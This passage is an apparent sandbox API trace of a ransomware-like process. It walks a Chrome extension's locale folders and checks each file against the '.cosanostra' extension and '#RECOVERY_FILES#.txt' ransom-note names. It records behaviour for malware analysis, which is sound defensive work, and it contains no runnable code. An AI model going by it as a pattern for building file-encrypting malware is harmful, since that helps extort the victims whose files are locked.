Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt") returned 150 [0087.426] lstrcmpW (lpString1="lt", lpString2=".") returned 1 [0087.427] lstrcmpW (lpString1="lt", lpString2="..") returned 1 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*") returned 152 [0087.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\.") returned 152 [0087.427] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.427] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\..") returned 153 [0087.427] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.427] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.427] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json") returned 164 [0087.427] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.427] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.427] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.427] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json") returned 164 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\#RECOVERY_FILES#.txt") returned 171 [0087.427] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\#RECOVERY_FILES#.txt") returned 171 [0087.427] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv") returned 150 [0087.427] lstrcmpW (lpString1="lv", lpString2=".") returned 1 [0087.427] lstrcmpW (lpString1="lv", lpString2="..") returned 1 [0087.427] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*") returned 152 [0087.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.428] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\.") returned 152 [0087.428] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.428] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.428] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\..") returned 153 [0087.428] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.428] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.428] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.428] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json") returned 164 [0087.428] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.428] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.428] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.428] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json") returned 164 [0087.428] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\#RECOVERY_FILES#.txt") returned 171 [0087.428] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\#RECOVERY_FILES#.txt") returned 171 [0087.428] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml") returned 150 [0087.428] lstrcmpW (lpString1="ml", lpString2=".") returned 1 [0087.429] lstrcmpW (lpString1="ml", lpString2="..") returned 1 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*") returned 152 [0087.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\.") returned 152 [0087.429] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.429] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\..") returned 153 [0087.429] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.429] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.429] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json") returned 164 [0087.429] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.429] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.429] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.429] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json") returned 164 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\#RECOVERY_FILES#.txt") returned 171 [0087.429] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\#RECOVERY_FILES#.txt") returned 171 [0087.429] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr") returned 150 [0087.429] lstrcmpW (lpString1="mr", lpString2=".") returned 1 [0087.429] lstrcmpW (lpString1="mr", lpString2="..") returned 1 [0087.429] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*") returned 152 [0087.429] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.431] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\.") returned 152 [0087.431] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.431] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.431] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\..") returned 153 [0087.431] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.431] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.431] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.431] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json") returned 164 [0087.431] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.431] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.431] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.431] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json") returned 164 [0087.431] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\#RECOVERY_FILES#.txt") returned 171 [0087.431] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\#RECOVERY_FILES#.txt") returned 171 [0087.432] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms") returned 150 [0087.432] lstrcmpW (lpString1="ms", lpString2=".") returned 1 [0087.432] lstrcmpW (lpString1="ms", lpString2="..") returned 1 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*") returned 152 [0087.432] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\.") returned 152 [0087.432] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.432] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\..") returned 153 [0087.432] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.432] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.432] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json") returned 164 [0087.432] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.432] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.432] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.432] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\messages.json") returned 164 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\#RECOVERY_FILES#.txt") returned 171 [0087.432] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\#RECOVERY_FILES#.txt") returned 171 [0087.432] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb") returned 150 [0087.432] lstrcmpW (lpString1="nb", lpString2=".") returned 1 [0087.432] lstrcmpW (lpString1="nb", lpString2="..") returned 1 [0087.432] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*") returned 152 [0087.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.433] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\.") returned 152 [0087.433] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.433] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.433] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\..") returned 153 [0087.433] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.433] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.434] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json") returned 164 [0087.434] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.434] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.434] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.434] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\messages.json") returned 164 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\#RECOVERY_FILES#.txt") returned 171 [0087.434] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\#RECOVERY_FILES#.txt") returned 171 [0087.434] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl") returned 150 [0087.434] lstrcmpW (lpString1="nl", lpString2=".") returned 1 [0087.434] lstrcmpW (lpString1="nl", lpString2="..") returned 1 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*") returned 152 [0087.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\.") returned 152 [0087.434] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.434] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\..") returned 153 [0087.434] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.434] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.434] FindNextFileW (in: hFindFile=0x25aa70, lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 1 [0087.434] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json") returned 164 [0087.435] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.435] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.435] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.435] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\messages.json") returned 164 [0087.435] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\#RECOVERY_FILES#.txt") returned 171 [0087.435] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\#RECOVERY_FILES#.txt") returned 171 [0087.435] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl") returned 150 [0087.435] lstrcmpW (lpString1="pl", lpString2=".") returned 1 [0087.435] lstrcmpW (lpString1="pl", lpString2="..") returned 1 [0087.435] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*") returned 152 [0087.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.435] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: 